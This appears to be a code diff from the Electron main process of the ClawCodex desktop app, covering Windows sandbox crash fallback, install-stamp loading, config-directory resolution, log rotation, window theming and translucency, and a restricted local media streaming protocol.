+// Windows sandbox / GPU breakpoint crash recovery (#38216).
+//
+// Some hosts (AMD RX 6000 drivers, orphan AppContainer SIDs under %LOCALAPPDATA%,
+// missing S-1-15-2-2 ACEs) kill Chromium's sandboxed GPU/renderer children with
+// 0x80000003. After enough GPU deaths the browser process FATAL-exits before the
+// UI is usable. Must run before app `ready` so `--no-sandbox` applies to child
+// processes. The sticky marker recovers Start Menu / shortcut launches that
+// never go through `clawcodex desktop`; it is version-scoped so an app update
+// re-probes the sandbox instead of degrading forever.
+//
+// `windowsSandboxFallbackActive` = this process runs without the Chromium
+// sandbox (any cause, including a manual --no-sandbox flag) — guards the
+// relaunch handlers. `windowsSandboxFallbackSticky` = the fallback machinery
+// engaged and the marker must stay `fallback` after a successful boot; a
+// manual flag alone is honored but never made sticky.
+let windowsSandboxFallbackActive = false
+let windowsSandboxFallbackSticky = false
+let windowsSandboxFallbackReason: SandboxFallbackReason = 'boot-loop'
+let windowsNoSandboxRelaunchAttempted = false
+
+if (IS_WINDOWS) {
+  const windowsUserData = app.getPath('userData')
+  const priorMarker = readSandboxMarker(windowsUserData)
+
+  // Best-effort ACL repair, only when the last boot aborted or the fallback is
+  // engaged — icacls /T recurses the whole install tree, so healthy launches
+  // skip it (the installer already granted the ACE at install time). Repair
+  // targets the install dir only: granting AppContainer read on userData would
+  // expose ClawCodex sessions/config to every packaged app on the machine.
+  if (shouldAttemptAclRepair(priorMarker)) {
+    const exeDir = path.dirname(process.execPath)
+    const acl = grantAllApplicationPackagesAcl(exeDir, { execFileSync })
+
+    if (acl.ok) {
+      console.log(`[clawcodex] granted ALL APPLICATION PACKAGES RX on ${exeDir} (#38216)`)
+    } else if (acl.error && acl.error !== 'missing-target-or-exec') {
+      console.warn(`[clawcodex] AppContainer ACL grant failed on ${exeDir}: ${acl.error}`)
+    }
+  }
+
+  const sandboxDecision = decideWindowsSandboxLaunch({
+    argv: process.argv,
+    env: process.env,
+    marker: priorMarker,
+    appVersion: app.getVersion()
+  })
+
+  windowsSandboxFallbackActive = sandboxDecision.enable
+  windowsSandboxFallbackSticky = sandboxDecision.nextMarker.state === 'fallback'
+
+  if (sandboxDecision.nextMarker.state === 'fallback' && sandboxDecision.nextMarker.reason) {
+    windowsSandboxFallbackReason = sandboxDecision.nextMarker.reason
+  }
+
+  if (sandboxDecision.enable && sandboxDecision.reason !== 'already-enabled') {
+    app.commandLine.appendSwitch('no-sandbox')
+    process.env.ELECTRON_DISABLE_SANDBOX = '1'
+    console.log(
+      `[clawcodex] Windows sandbox fallback enabled (${sandboxDecision.reason}); launching with --no-sandbox (#38216)`
+    )
+  }
+
+  writeSandboxMarker(windowsUserData, sandboxDecision.nextMarker)
+
+  // Catch the first GPU breakpoint death and relaunch before Chromium's
+  // "GPU process isn't usable" FATAL abort ends the process with no recovery.
+  app.on('child-process-gone', (_event, details) => {
+    if (
+      !shouldRelaunchForGpuSandboxCrash({
+        details,
+        alreadyNoSandbox: windowsSandboxFallbackActive || alreadyHasNoSandbox(process.argv, process.env),
+        relaunchAttempted: windowsNoSandboxRelaunchAttempted
+      })
+    ) {
+      return
+    }
+
+    windowsNoSandboxRelaunchAttempted = true
+    windowsSandboxFallbackActive = true
+    windowsSandboxFallbackSticky = true
+    windowsSandboxFallbackReason = 'gpu-breakpoint'
+
+    try {
+      writeSandboxMarker(app.getPath('userData'), fallbackMarker('gpu-breakpoint', app.getVersion()))
+    } catch {
+      void 0
+    }
+
+    console.warn(
+      `[clawcodex] Windows GPU sandbox crashed (exit=${details?.exitCode}); relaunching once with --no-sandbox (#38216)`
+    )
+
+    try {
+      app.relaunch({ args: buildNoSandboxRelaunchArgs(process.argv.slice(1)) })
+      app.exit(0)
+    } catch (error) {
+      console.error(`[clawcodex] --no-sandbox relaunch failed: ${error?.message || error}`)
+    }
+  })
+}
+
+ipcMain.handle('clawcodex:get-remote-display-reason', () => REMOTE_DISPLAY_REASON)
+
+// Keep the renderer's PROCESS priority normal while its windows are hidden —
+// a deprioritized renderer streams a live answer visibly slower once the
+// window is minimized. This switch only affects scheduling priority; it does
+// not exempt timers from throttling and costs nothing at idle.
+//
+// The timer/rAF throttling story is deliberately NOT handled here anymore.
+// The old process-wide `disable-background-timer-throttling` /
+// `disable-backgrounding-occluded-windows` switches (plus a static
+// `backgroundThrottling: false` on every chat window) pinned every renderer's
+// `document.visibilityState` to 'visible' forever — which silently turned all
+// the renderer's visibility-gated backstop polls and clock ticks into
+// always-on timers. A completely idle, minimized ClawCodex burned ~20% CPU
+// around the clock. Throttling is now a runtime dial scoped to streaming:
+// see createStreamThrottle() — chat windows are unthrottled while any turn is
+// in flight (so a live answer keeps painting while blurred, occluded, or
+// minimized, exactly as before) and return to Chromium's default throttling
+// once the work settles.
+app.commandLine.appendSwitch('disable-renderer-backgrounding')
+
+const SOURCE_REPO_ROOT = path.resolve(APP_ROOT, '../..')
+
+// Build-time install stamp -- the git ref this .exe was built against.
+//
+// Written by apps/desktop/scripts/write-build-stamp.mjs during `npm run build`
+// and bundled into packaged apps via electron-builder's extraResources entry,
+// so the runtime stamp ends up at process.resourcesPath/install-stamp.json
+// after install. The bootstrap runner (Phase 1D) reads it to know which
+// commit to clone when running install.ps1 stages at first launch.
+//
+// Returns null when the file is missing (dev runs from a checkout where
+// build hasn't been invoked, or schema mismatch). Callers must handle null.
+//
+// Schema:
+//   { schemaVersion: 1, commit, branch, builtAt, dirty, source }
+const INSTALL_STAMP_SCHEMA_VERSION = 1
+
+function loadInstallStamp() {
+  // Try packaged location first (resources/install-stamp.json), then the
+  // dev/local build output (apps/desktop/build/install-stamp.json) so
+  // someone running `npm run start` after a local `npm run build` also
+  // sees a stamp without needing a packaged build.
+  const candidates = [
+    process.resourcesPath ? path.join(process.resourcesPath, 'install-stamp.json') : null,
+    path.join(APP_ROOT, 'build', 'install-stamp.json')
+  ].filter(Boolean)
+
+  for (const p of candidates) {
+    try {
+      const raw = fs.readFileSync(p, 'utf8')
+      const parsed = JSON.parse(raw)
+
+      if (parsed && typeof parsed === 'object' && typeof parsed.commit === 'string' && parsed.commit.length >= 7) {
+        if (parsed.schemaVersion !== INSTALL_STAMP_SCHEMA_VERSION) {
+          console.warn(
+            `[clawcodex] install-stamp.json schemaVersion ${parsed.schemaVersion} != expected ${INSTALL_STAMP_SCHEMA_VERSION}; ignoring`
+          )
+
+          continue
+        }
+
+        return Object.freeze({
+          schemaVersion: parsed.schemaVersion,
+          commit: parsed.commit,
+          branch: parsed.branch || null,
+          builtAt: parsed.builtAt || null,
+          dirty: Boolean(parsed.dirty),
+          source: parsed.source || null,
+          path: p
+        })
+      }
+    } catch (e) {
+      console.warn(`[clawcodex] install-stamp.json found at ${p} , but parsing failed with ${e}`)
+      // Either ENOENT or malformed JSON; try the next candidate
+    }
+  }
+
+  return null
+}
+
+const INSTALL_STAMP = loadInstallStamp()
+
+if (INSTALL_STAMP) {
+  console.log(
+    `[clawcodex] install stamp: ${INSTALL_STAMP.commit.slice(0, 12)}${INSTALL_STAMP.branch ? ` (${INSTALL_STAMP.branch})` : ''}${INSTALL_STAMP.dirty ? ' [DIRTY]' : ''} from ${INSTALL_STAMP.source || 'unknown'}`
+  )
+} else if (IS_PACKAGED) {
+  // Dev builds without a stamp are normal; packaged builds without one
+  // mean the bootstrap won't know what to clone. Surface clearly.
+  console.error(
+    '[clawcodex] WARNING: no install-stamp.json found in packaged build. First-launch bootstrap will not have a pinned ref to install.'
+  )
+}
+
+// CLAWCODEX_CONFIG_DIR — the user-facing root for everything ClawCodex-related. Mirrors
+// scripts/install.ps1's $ClawCodexHome and scripts/install.sh's $CLAWCODEX_CONFIG_DIR.
+//
+// Defaults:
+//   Windows: %LOCALAPPDATA%\clawcodex (matches install.ps1)
+//   macOS / Linux: ~/.clawcodex (matches install.sh)
+//
+// Special case for Windows: if the user has a legacy ~/.clawcodex directory
+// (e.g., from a prior pip install or a manual setup) AND no
+// %LOCALAPPDATA%\clawcodex yet, prefer the legacy path so we don't orphan their
+// existing config / sessions / .env. New installs go to %LOCALAPPDATA%.
+//
+// CLAWCODEX_DESKTOP_USER_DATA_DIR (used by test:desktop:fresh) puts the sandbox
+// CLAWCODEX_CONFIG_DIR beneath the throwaway userData dir so a fresh-install run never
+// touches the user's real ~/.clawcodex / %LOCALAPPDATA%\clawcodex.
+function resolveClawCodexHome() {
+  if (process.env.CLAWCODEX_CONFIG_DIR) {
+    return normalizeClawCodexHomeRoot(process.env.CLAWCODEX_CONFIG_DIR)
+  }
+
+  if (USER_DATA_OVERRIDE) {
+    return path.join(path.resolve(USER_DATA_OVERRIDE), 'clawcodex-home')
+  }
+
+  if (IS_WINDOWS) {
+    // A GUI app launched from Explorer inherits the environment block captured
+    // at login, so a CLAWCODEX_CONFIG_DIR set via `setx` AFTER login is invisible in
+    // process.env even though the CLI (a fresh shell) sees it. Without this the
+    // backend silently falls back to %LOCALAPPDATA%\clawcodex and reports "No
+    // inference provider configured" despite a valid configured home (#45471).
+    // Consult the live User-scoped registry value before the default below.
+    const fromRegistry = readWindowsUserEnvVar('CLAWCODEX_CONFIG_DIR')
+
+    if (fromRegistry) {
+      return normalizeClawCodexHomeRoot(fromRegistry)
+    }
+  }
+
+  if (IS_WINDOWS && process.env.LOCALAPPDATA) {
+    const localappdata = path.join(process.env.LOCALAPPDATA, 'clawcodex')
+    const legacy = path.join(app.getPath('home'), '.clawcodex')
+
+    // Migrate transparently to LOCALAPPDATA, but honour an existing legacy
+    // ~/.clawcodex setup (no LOCALAPPDATA install yet) so users don't lose state.
+    if (!directoryExists(localappdata) && directoryExists(legacy)) {
+      return legacy
+    }
+
+    return localappdata
+  }
+
+  return path.join(app.getPath('home'), '.clawcodex')
+}
+
+const CLAWCODEX_CONFIG_DIR = resolveClawCodexHome()
+
+function pathWithClawCodexManagedNode(...entries) {
+  const managed = clawcodexManagedNodePathEntries(CLAWCODEX_CONFIG_DIR).filter(directoryExists)
+
+  return [...managed, ...entries, process.env.PATH].filter(Boolean).join(path.delimiter)
+}
+
+// ACTIVE_CLAWCODEX_ROOT — the canonical mutable ClawCodex install. Same path
+// install.ps1 / install.sh use, so a desktop-only user and a CLI-only user end
+// up with identical layouts and can share one install.
+const ACTIVE_CLAWCODEX_ROOT = path.join(CLAWCODEX_CONFIG_DIR, 'clawcodex')
+// VENV_ROOT — venv lives inside the repo, exactly like install.ps1 does it.
+const VENV_ROOT = path.join(ACTIVE_CLAWCODEX_ROOT, 'venv')
+// BOOTSTRAP_COMPLETE_MARKER — written by the first-launch bootstrap runner
+// (Phase 1D) after install.ps1 has completed all stages and the user has
+// finished initial configuration. Presence of this marker means the install
+// is in a known-good state and we can skip the bootstrap flow on subsequent
+// boots, going straight to `resolveClawCodexBackend()`. Missing or stale marker
+// means we re-run the bootstrap; install.ps1's stages are idempotent so a
+// re-run on an already-good install just discovers everything in place.
+//
+// We deliberately put the marker INSIDE ACTIVE_CLAWCODEX_ROOT (not alongside)
+// so that deleting the checkout to start fresh also deletes the marker --
+// avoids the confusing "marker exists but checkout is gone" state.
+const BOOTSTRAP_COMPLETE_MARKER = path.join(ACTIVE_CLAWCODEX_ROOT, '.clawcodex-bootstrap-complete')
+const BOOTSTRAP_MARKER_SCHEMA_VERSION = 1
+
+const DESKTOP_CONNECTION_CONFIG_PATH = path.join(app.getPath('userData'), 'connection.json')
+const DESKTOP_INSTALLATION_PATH = path.join(app.getPath('userData'), 'desktop-installation.json')
+const DESKTOP_UPDATE_CONFIG_PATH = path.join(app.getPath('userData'), 'updates.json')
+const DESKTOP_WINDOW_STATE_PATH = path.join(app.getPath('userData'), 'window-state.json')
+// active-profile.json records which ClawCodex profile the desktop launches its
+// local backend as. When set, startClawCodex() passes `clawcodex --profile <name>
+// dashboard …`, which deterministically pins CLAWCODEX_CONFIG_DIR (see
+// _apply_profile_override in clawcodex_cli/main.py) and bypasses the sticky
+// ~/.clawcodex/active_profile file. Unset (null) preserves the legacy behavior:
+// no --profile flag, so the backend honors active_profile / default.
+const DESKTOP_PROFILE_CONFIG_PATH = path.join(app.getPath('userData'), 'active-profile.json')
+// Mirrors clawcodex_cli.profiles._PROFILE_ID_RE so we never hand the backend a
+// value its profile resolver would reject and exit on.
+const PROFILE_NAME_RE = /^[a-z0-9][a-z0-9_-]{0,63}$/
+// Branch we track for self-update. The GUI work has merged to main, so this
+// tracks main. User can also override at runtime via
+// clawcodexDesktop.updates.setBranch().
+const DEFAULT_UPDATE_BRANCH = 'main'
+// desktop.log lives under CLAWCODEX_CONFIG_DIR/logs/ so it sits next to agent.log,
+// errors.log, gateway.log produced by clawcodex_logging.setup_logging — one log
+// directory per user, regardless of which UI surface produced the line.
+const DESKTOP_LOG_PATH = path.join(CLAWCODEX_CONFIG_DIR, 'logs', 'desktop.log')
+const DESKTOP_LOG_FLUSH_MS = 120
+const DESKTOP_LOG_BUFFER_MAX_CHARS = 64 * 1024
+// Bound desktop.log on disk. It is an append-only forensic log, so a boot loop
+// (version-skew crash -> backend exits instantly -> renderer keeps hitting
+// Retry) appends the full bootstrap transcript every attempt and grows without
+// bound — we have seen it reach ~326 GB and exhaust the disk, which then breaks
+// update/install (no room for git/venv/npm temp files).
+//
+// Mirror the Python logs (clawcodex_logging.py RotatingFileHandler, maxBytes x
+// backupCount): cascade live -> .1 -> .2 -> .3, drop the oldest. Steady-state
+// stays bounded at ~(backupCount + 1) x cap however hard the app loops.
+//
+// Bounding alone never RECLAIMS an already-huge file: a plain rotation just
+// renames the monster to .1 and strands it for a cycle a healthy app may never
+// reach. A multi-GB boot-loop transcript has no diagnostic value, so anything
+// past the discard ceiling is deleted outright — the updated app self-heals a
+// disk a stale build filled, on the next launch.
+const DESKTOP_LOG_MAX_BYTES = 10 * 1024 * 1024
+const DESKTOP_LOG_BACKUP_COUNT = 3
+const DESKTOP_LOG_DISCARD_BYTES = DESKTOP_LOG_MAX_BYTES * 4
+const desktopLogBackupPath = n => `${DESKTOP_LOG_PATH}.${n}`
+const BOOT_FAKE_MODE = process.env.CLAWCODEX_DESKTOP_BOOT_FAKE === '1'
+const BOOT_FAKE_ERROR = process.env.CLAWCODEX_DESKTOP_BOOT_FAKE_ERROR || ''
+// Automated teardown (Playwright's app.close(), harness scripts) quits with
+// nobody to answer a modal, so the active-work confirmation would hang the
+// caller instead of letting the process exit. Force quits set this.
+const SKIP_QUIT_CONFIRM = process.env.CLAWCODEX_DESKTOP_SKIP_QUIT_CONFIRM === '1'
+
+const BOOT_FAKE_STEP_MS = (() => {
+  const raw = Number.parseInt(String(process.env.CLAWCODEX_DESKTOP_BOOT_FAKE_STEP_MS || ''), 10)
+
+  if (!Number.isFinite(raw) || raw <= 0) {
+    return 650
+  }
+
+  return Math.max(120, raw)
+})()
+
+const APP_NAME = process.env.CLAWCODEX_DESKTOP_APP_NAME || 'ClawCodex'
+const TITLEBAR_HEIGHT = 34
+const MACOS_TRAFFIC_LIGHTS_HEIGHT = 14
+
+const WINDOW_BUTTON_POSITION = {
+  x: 24,
+  y: TITLEBAR_HEIGHT / 2 - MACOS_TRAFFIC_LIGHTS_HEIGHT / 2
+}
+
+// Right-edge window-control reservation lives in titlebar-overlay-width.ts
+// (pure + unit-testable); computeNativeOverlayWidth() applies it per platform.
+// It's only the pre-layout fallback — the renderer measures the exact overlay
+// width live via the Window Controls Overlay API.
+// The apple-touch PNG bakes in the macOS-style ~10% margin, which is correct
+// for the dock but renders visibly smaller than neighboring taskbar icons on
+// Windows, where icons are full-bleed. Windows prefers the full-bleed
+// assets/icon.ico (shipped to resources/ via extraResources) and only falls
+// back to the padded PNG if the ico is missing.
+const APP_ICON_PATHS = [
+  ...(IS_WINDOWS
+    ? [path.join(process.resourcesPath ?? '', 'icon.ico'), path.join(APP_ROOT, 'assets', 'icon.ico')]
+    : []),
+  path.join(APP_ROOT, 'public', 'apple-touch-icon.png'),
+  path.join(APP_ROOT, 'dist', 'apple-touch-icon.png'),
+  path.join(unpackedPathFor(APP_ROOT), 'dist', 'apple-touch-icon.png')
+]
+
+let rendererTitleBarTheme = null
+const terminalSessions = new Map()
+
+// Force the NATIVE window appearance (vibrancy material, titlebar, the
+// pre-first-paint window background) to follow the APP theme instead of the
+// OS appearance. With `vibrancy` set, macOS paints an NSVisualEffectView that
+// tracks the window's effective appearance and ignores `backgroundColor` —
+// so a dark-themed app on a light-mode Mac flashes a white material on every
+// new window until the renderer covers it. The renderer reports its mode via
+// 'clawcodex:native-theme' ('dark' | 'light' | 'system'); we pin
+// nativeTheme.themeSource to it and persist the value so cold launches paint
+// correctly before the renderer has even loaded.
+const NATIVE_THEME_CONFIG_PATH = path.join(app.getPath('userData'), 'native-theme.json')
+const THEME_SOURCES = new Set(['dark', 'light', 'system'])
+
+function readPersistedThemeSource() {
+  try {
+    const parsed = JSON.parse(fs.readFileSync(NATIVE_THEME_CONFIG_PATH, 'utf8'))
+
+    if (parsed && THEME_SOURCES.has(parsed.themeSource)) {
+      return parsed.themeSource
+    }
+  } catch {
+    // Missing / malformed → follow the OS like a fresh install.
+  }
+
+  return 'system'
+}
+
+function writePersistedThemeSource(mode) {
+  try {
+    fs.mkdirSync(path.dirname(NATIVE_THEME_CONFIG_PATH), { recursive: true })
+    fs.writeFileSync(NATIVE_THEME_CONFIG_PATH, JSON.stringify({ themeSource: mode }, null, 2), 'utf8')
+  } catch (error) {
+    rememberLog(`[theme] write native theme failed: ${error.message}`)
+  }
+}
+
+nativeTheme.themeSource = readPersistedThemeSource()
+
+// Window translucency (see-through window). One lever, 0–100; 0 = off (the
+// default). Mapped to the native window opacity so the desktop shows through
+// the whole window. Persisted so a cold launch applies it at window creation,
+// before the renderer reports its value. macOS + Windows only; `setOpacity` is
+// a no-op on Linux. See store/translucency.
+const TRANSLUCENCY_CONFIG_PATH = path.join(app.getPath('userData'), 'translucency.json')
+
+function clampIntensity(value) {
+  const n = Math.round(Number(value))
+
+  return Number.isFinite(n) ? Math.min(100, Math.max(0, n)) : 0
+}
+
+function readPersistedTranslucency() {
+  try {
+    return clampIntensity(JSON.parse(fs.readFileSync(TRANSLUCENCY_CONFIG_PATH, 'utf8')).intensity)
+  } catch {
+    return 0
+  }
+}
+
+function writePersistedTranslucency(intensity) {
+  try {
+    fs.mkdirSync(path.dirname(TRANSLUCENCY_CONFIG_PATH), { recursive: true })
+    fs.writeFileSync(TRANSLUCENCY_CONFIG_PATH, JSON.stringify({ intensity }, null, 2), 'utf8')
+  } catch (error) {
+    rememberLog(`[translucency] write failed: ${error.message}`)
+  }
+}
+
+let translucencyIntensity = readPersistedTranslucency()
+
+// Map the 0–100 lever to a window opacity. Floor at 0.3 so the most see-through
+// setting is still usable rather than nearly invisible. 0 → fully opaque.
+function windowOpacity() {
+  return 1 - (translucencyIntensity / 100) * 0.7
+}
+
+// Re-apply translucency to a live window (runtime toggle, no recreation).
+// `setOpacity` is a no-op on Linux, which is fine — it just stays opaque there.
+function applyWindowTranslucency(win) {
+  if (!win || win.isDestroyed() || typeof win.setOpacity !== 'function') {
+    return
+  }
+
+  try {
+    win.setOpacity(windowOpacity())
+  } catch (error) {
+    rememberLog(`[translucency] apply failed: ${error.message}`)
+  }
+}
+
+function isHexColor(value) {
+  return typeof value === 'string' && /^#[0-9a-f]{6}$/i.test(value)
+}
+
+// Background color to paint a window with BEFORE its renderer loads, so a new
+// (or reopened) window doesn't flash white/light in dark mode. Prefer the theme
+// the renderer last reported; fall back to the OS preference on first launch.
+function getWindowBackgroundColor() {
+  if (rendererTitleBarTheme && isHexColor(rendererTitleBarTheme.background)) {
+    return rendererTitleBarTheme.background
+  }
+
+  return nativeTheme.shouldUseDarkColors ? '#111111' : '#f7f7f7'
+}
+
+// Transparent WCO — renderer chrome shows through. rgba(0,0,0,0) can fall back
+// to GetFrameColor() on some Electron builds; rgba(1,0,0,0) is the escape hatch.
+const TITLEBAR_OVERLAY_COLOR = 'rgba(1, 0, 0, 0)'
+
+function getTitleBarOverlayOptions() {
+  if (IS_MAC) {
+    // Tahoe (Darwin 25+) misplaces the traffic lights when the overlay has a
+    // nonzero height (electron#49183); 0 there keeps them at the configured
+    // inset. See macTitleBarOverlayHeight.
+    return { height: macTitleBarOverlayHeight({ darwinMajor: DARWIN_MAJOR, titlebarHeight: TITLEBAR_HEIGHT }) }
+  }
+
+  // WSLg paints WCO via the RDP host's own min/max/close, so requesting
+  // an Electron overlay there just leaves a dead gap. Plain Linux (KDE,
+  // GNOME) can use the native overlay — let it through.
+  if (!IS_WINDOWS && IS_WSL) {
+    return false
+  }
+
+  return {
+    color: TITLEBAR_OVERLAY_COLOR,
+    height: TITLEBAR_HEIGHT,
+    symbolColor:
+      rendererTitleBarTheme && isHexColor(rendererTitleBarTheme.foreground)
+        ? rendererTitleBarTheme.foreground
+        : nativeTheme.shouldUseDarkColors
+          ? '#f7f7f7'
+          : '#242424'
+  }
+}
+
+// Push refreshed overlay options to a live window after a theme/appearance
+// change. No-op only on plain (non-WSL) Linux, where getTitleBarOverlayOptions()
+// returns false; the try/catch additionally guards builds where
+// setTitleBarOverlay isn't supported.
+function applyTitleBarOverlay(win) {
+  const options = getTitleBarOverlayOptions()
+
+  if (!options || typeof options !== 'object') {
+    return
+  }
+
+  try {
+    win?.setTitleBarOverlay?.(options)
+  } catch {
+    // Overlay not supported on this platform/build — leave the frameless
+    // titlebar as-is.
+  }
+}
+
+const MEDIA_MIME_TYPES = {
+  '.avi': 'video/x-msvideo',
+  '.bmp': 'image/bmp',
+  '.flac': 'audio/flac',
+  '.gif': 'image/gif',
+  '.jpeg': 'image/jpeg',
+  '.jpg': 'image/jpeg',
+  '.m4a': 'audio/mp4',
+  '.mkv': 'video/x-matroska',
+  '.mov': 'video/quicktime',
+  '.mp3': 'audio/mpeg',
+  '.mp4': 'video/mp4',
+  '.ogg': 'audio/ogg',
+  '.opus': 'audio/ogg; codecs=opus',
+  '.pdf': 'application/pdf',
+  '.png': 'image/png',
+  '.svg': 'image/svg+xml',
+  '.wav': 'audio/wav',
+  '.webm': 'video/webm',
+  '.webp': 'image/webp'
+}
+
+const PREVIEW_HTML_EXTENSIONS = new Set(['.html', '.htm'])
+const PREVIEW_PDF_EXTENSIONS = new Set(['.pdf'])
+const PREVIEW_WATCH_DEBOUNCE_MS = 120
+const LOCAL_PREVIEW_HOSTS = new Set(['0.0.0.0', '127.0.0.1', '::1', '[::1]', 'localhost'])
+const TEXT_PREVIEW_MAX_BYTES = 512 * 1024
+
+const PREVIEW_LANGUAGE_BY_EXT = {
+  '.c': 'c',
+  '.conf': 'ini',
+  '.cpp': 'cpp',
+  '.css': 'css',
+  '.csv': 'csv',
+  '.go': 'go',
+  '.graphql': 'graphql',
+  '.h': 'c',
+  '.hpp': 'cpp',
+  '.html': 'html',
+  '.java': 'java',
+  '.js': 'javascript',
+  '.json': 'json',
+  '.jsx': 'jsx',
+  '.kt': 'kotlin',
+  '.lua': 'lua',
+  '.md': 'markdown',
+  '.mjs': 'javascript',
+  '.py': 'python',
+  '.rb': 'ruby',
+  '.rs': 'rust',
+  '.sh': 'shell',
+  '.sql': 'sql',
+  '.svg': 'xml',
+  '.toml': 'toml',
+  '.ts': 'typescript',
+  '.tsx': 'tsx',
+  '.txt': 'text',
+  '.xml': 'xml',
+  '.yaml': 'yaml',
+  '.yml': 'yaml',
+  '.zsh': 'shell'
+}
+
+function looksBinary(buffer) {
+  if (!buffer.length) {
+    return false
+  }
+
+  let suspicious = 0
+
+  for (const byte of buffer) {
+    if (byte === 0) {
+      return true
+    }
+
+    // Allow common whitespace controls: tab, LF, CR.
+    if (byte < 32 && byte !== 9 && byte !== 10 && byte !== 13) {
+      suspicious += 1
+    }
+  }
+
+  return suspicious / buffer.length > 0.12
+}
+
+function previewFileMetadata(filePath, mimeType) {
+  let byteSize = 0
+  let binary = false
+
+  try {
+    const stat = fs.statSync(filePath)
+    byteSize = stat.size
+
+    if (!mimeType.startsWith('image/')) {
+      const fd = fs.openSync(filePath, 'r')
+
+      try {
+        const sample = Buffer.alloc(Math.min(byteSize, 4096))
+        const bytesRead = fs.readSync(fd, sample, 0, sample.length, 0)
+        binary = looksBinary(sample.subarray(0, bytesRead))
+      } finally {
+        fs.closeSync(fd)
+      }
+    }
+  } catch {
+    // Metadata is best-effort; the read handlers surface hard errors later.
+  }
+
+  return {
+    binary,
+    byteSize,
+    large: byteSize > TEXT_PREVIEW_MAX_BYTES
+  }
+}
+
+app.setName(APP_NAME)
+
+// Windows toast notifications silently no-op unless an AppUserModelID is set:
+// `new Notification().show()` returns without error and nothing appears. The
+// AUMID must match the installed Start Menu shortcut's AUMID, which
+// electron-builder derives from the build `appId` (com.clawcodex.desktop) —
+// keep this string in sync with package.json `build.appId`. macOS/Linux don't
+// need this, so gate it on Windows. (Fixes: desktop approval/turn notifications
+// never firing on Windows.)
+if (IS_WINDOWS) {
+  app.setAppUserModelId('com.clawcodex.desktop')
+}
+
+// Seed the native About panel with the live ClawCodex version. This is refreshed
+// on every open via the explicit "About" menu handler (refreshAboutPanel), so
+// an in-place `clawcodex update` mid-session is reflected without an app restart;
+// the seed here just covers the first open and any non-menu invocation path.
+app.setAboutPanelOptions({
+  applicationName: APP_NAME,
+  applicationVersion: resolveClawCodexVersion(),
+  copyright: 'Copyright © 2026 ClawCodex contributors'
+})
+
+// Custom scheme for streaming local media (video/audio) into the renderer.
+// Reading large media through `readFileDataUrl` failed: it base64-loads the
+// whole file into memory and is hard-capped (default 16 MB, Settings → Chat),
+// so any non-trivial video silently refused to load. Streaming via a protocol
+// handler removes the size cap and gives the <video> element seekable,
+// range-aware playback. Must be registered before the app is ready.
+const MEDIA_PROTOCOL = 'clawcodex-media'
+
+// Only audio/video may be streamed. Without this the handler would read any
+// non-blocklisted local file (no size cap) for any `fetch(clawcodex-media://…)`.
+const STREAMABLE_MEDIA_EXTS = new Set([
+  '.avi',
+  '.flac',
+  '.m4a',
+  '.mkv',
+  '.mov',
+  '.mp3',
+  '.mp4',
+  '.ogg',
+  '.opus',
+  '.wav',
+  '.webm'
+])
+
+protocol.registerSchemesAsPrivileged([
+  {
+    scheme: MEDIA_PROTOCOL,
+    privileges: {
+      secure: true,
+      standard: true,
+      stream: true,
+      supportFetchAPI: true
+    }
+  }
+])
+
+function registerMediaProtocol() {
+  protocol.handle(MEDIA_PROTOCOL, async request => {
+    let resolvedPath
+
+    try {
+      const url = new URL(request.url)
+
+      const filePath = decodeURIComponent(url.pathname.replace(/^\/+/, ''))
+
+      ;({ resolvedPath } = await resolveReadableFileForIpc(filePath, { purpose: 'Media stream' }))
+    } catch {
+      return new Response('Media not found', { status: 404 })
+    }
+
+    if (!STREAMABLE_MEDIA_EXTS.has(path.extname(resolvedPath).toLowerCase())) {
+      return new Response('Unsupported media type', { status: 415 })
+    }
+
+    // Delegate to Electron's net stack on a file:// URL — it resolves the
+    // content-type and honors Range requests so seeking works. Forward the
+    // renderer's headers (notably Range) and skip custom-protocol re-entry.
+    return electronNet.fetch(pathToFileURL(resolvedPath).toString(), {
+      bypassCustomProtocolHandlers: true,
+      headers: request.headers
+    })
+  })
+}
+
+let mainWindow = null
+const backendConnectionState = createBackendConnectionState<ReturnType<typeof spawn>, any>()
+const remoteLiveness = new RemoteLivenessTracker()
+const remoteRevalidation = new RemoteRevalidationCoordinator()
+// True while connection-config:apply soft-rehomes the primary — suppresses the
+// backend-exit toast so an intentional kill doesn't look like a crash.
+let softRehomeInProgress = false
+// Additional per-profile backends, keyed by profile name. The PRIMARY backend
+// (the desktop's launch profile) stays managed by backendConnectionState +
+// startClawCodex(); this pool only holds EXTRA profile
+// backends spawned lazily when a session belongs to a different profile. A user
+// with no named profiles never populates this map, so their experience is
+// byte-for-byte the single-backend behavior.
+const backendPool = new Map() // profile -> { process, port, token, connectionPromise, lastActiveAt }
+// Keep the pool light: cap concurrent profile backends (LRU eviction) and reap
+// idle ones. A user idles at exactly the primary backend; pool backends only
+// exist while a non-primary profile is actively being chatted through.
+const POOL_MAX_BACKENDS = Math.max(1, Number(process.env.CLAWCODEX_DESKTOP_POOL_MAX) || 3)
+const POOL_IDLE_MS = Math.max(60_000, Number(process.env.CLAWCODEX_DESKTOP_POOL_IDLE_MS) || 10 * 60_000)
+// A backend touched within this window has a live renderer socket (the keepalive
+// pings every 60s for every open profile). LRU eviction must spare these — a
+// concurrent multi-profile session keeps several backends "fresh" at once, and
+// killing one to honor the soft cap would abort a running agent.
+const POOL_KEEPALIVE_FRESH_MS = 90_000
+let poolIdleReaper = null
+// Auto-reload budget for renderer crashes. A deterministic startup crash would
+// otherwise loop forever (reload → crash → reload), pinning CPU and spamming
+// logs. Allow a few reloads per rolling window, then stop and leave the dead
+// window so the user can read the error / quit.
+const RENDERER_RELOAD_WINDOW_MS = 60_000
+const RENDERER_RELOAD_MAX = 3
+let rendererReloadTimes = []
+// Latched bootstrap failure: when the first-launch install fails, we hold
+// onto the error so subsequent startClawCodex() calls (e.g. the renderer's
+// ensureGatewayOpen retrying after the WS won't open) return the same error
+// instead of re-running install.ps1 in a hot loop. Cleared explicitly by
+// the renderer's "Reload and retry" path or by quitting the app.
+let bootstrapFailure = null
+// Latched non-bootstrap backend spawn failure — stops getConnection() from
+// respawning clawcodex serve backend children in a tight loop while boot is broken.
+let backendStartFailure = null
+// Latched CONFIRMED remote reauth failure. Remote failures deliberately do not
+// latch via backendStartFailure (they're usually transient and must stay
+// retryable), but a rejected session cannot self-heal — and the non-latching
+// path actively breaks recovery: each retry re-emits running:true and hides
+// the boot-failure overlay, so the "Sign in" button flickers away before it
+// can be clicked. Cleared on every recovery path and on a confirmed sign-in.
+let remoteReauthFailure = null
+// Active first-launch install, so the renderer's Cancel button (and app quit)
